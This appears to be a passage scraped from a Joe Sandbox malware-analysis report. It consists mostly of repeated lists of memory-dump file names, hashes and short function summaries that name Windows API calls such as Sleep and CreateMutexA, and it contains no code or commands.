Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1c896e783fd6c63c991114844feb27d7e27c096192cf88cd89a6913d340a0e19
Instruction ID: cc013e2fcfba59162d1ab73b447837fbe7cba3b7f002b5761cd6bced2a0c4770
Opcode Fuzzy Hash: 1c896e783fd6c63c991114844feb27d7e27c096192cf88cd89a6913d340a0e19
Instruction Fuzzy Hash: 2B3127317011409BEB18AB78D8CDBADB662EFC6310F248618E0699B7D6D77589C0A762

Function 00C1A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C1A963
CreateMutexA.KERNEL32(00000000,00000000,00C73254), ref: 00C1A981

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ede0ea31fd364dfbdaa1d039dea48a75938d666a75424f1b92fa05f657f71b59
Instruction ID: f98017ed28ae633374293f1462c14944f7445970776a4b28c9d7c49d722dbc31
Opcode Fuzzy Hash: ede0ea31fd364dfbdaa1d039dea48a75938d666a75424f1b92fa05f657f71b59
Instruction Fuzzy Hash: 583128317052408BEB18DB78DCC9BACB762EFC6314F248618F0589B7D6C73989C1A712

Function 00C1A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C1A963
CreateMutexA.KERNEL32(00000000,00000000,00C73254), ref: 00C1A981

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 69c81ab373553acab9cb12182e3371cf36012a6e78a5a5eb4b1988cf4a2188c1
Instruction ID: 90c60fb5005b43f2e72b795e3883f5fa5d11bd7fc5a0c9cdac646ccdead802b0
Opcode Fuzzy Hash: 69c81ab373553acab9cb12182e3371cf36012a6e78a5a5eb4b1988cf4a2188c1
Instruction Fuzzy Hash: C9312831701240DBEB18DB78DD897ADB762EBC7310F248618E058DB7D6C7754AC1A752

Function 00C19ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C1A963
CreateMutexA.KERNEL32(00000000,00000000,00C73254), ref: 00C1A981

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: dbcb2b4d93045f4f8bfc0f9d8203473f1e433aad7bf08dc1c6e745bc7799f36b
Instruction ID: 498f26eac68e8a1fd2729ed835456b2537f2d9fcb90e927bc143d08bda882e49
Opcode Fuzzy Hash: dbcb2b4d93045f4f8bfc0f9d8203473f1e433aad7bf08dc1c6e745bc7799f36b
Instruction Fuzzy Hash: F9214C31705240DBEB189B68ECC97ACB761EBC6310F244219E519CB7D6C77559C1AB12

Function 00C1A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C1A963
CreateMutexA.KERNEL32(00000000,00000000,00C73254), ref: 00C1A981

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4bea8a2fcf1877ab063e1b2d95e50daffc7089aeb847601a017b8ed9a3c8a415
Instruction ID: 26b460b1c97ec72a734523e2f2b7dce4dce61924577fb2218b0998d61b56547b
Opcode Fuzzy Hash: 4bea8a2fcf1877ab063e1b2d95e50daffc7089aeb847601a017b8ed9a3c8a415
Instruction Fuzzy Hash: E7213D71346201DAFB24776C988A7BDB2619F83300F244916E158DA7D3CB7A4AC1B663

Function 00C1A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C1A963
CreateMutexA.KERNEL32(00000000,00000000,00C73254), ref: 00C1A981

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c4288bc98d5917f44b67ebe96d99470cc80e0b74b49beea7a32fafdf26eae0c6
Instruction ID: 1d377108a195acaf86b02910bed051e601dd63ea62e466ff0b690633c2cf2256
Opcode Fuzzy Hash: c4288bc98d5917f44b67ebe96d99470cc80e0b74b49beea7a32fafdf26eae0c6
Instruction Fuzzy Hash: 7F217C31701200DBEB189B68EC897ACB762DBD6310F244219E428DB7D6C7799AC0A762

Function 00C17D30 Relevance: 2.1, APIs: 1, Instructions: 585
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00C17ED3

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
